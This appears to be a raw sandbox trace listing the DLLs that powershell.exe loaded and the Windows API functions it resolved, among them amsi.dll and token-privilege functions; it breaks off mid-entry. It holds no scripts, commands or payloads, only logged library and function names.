%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00004816)39:T14aab,"powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 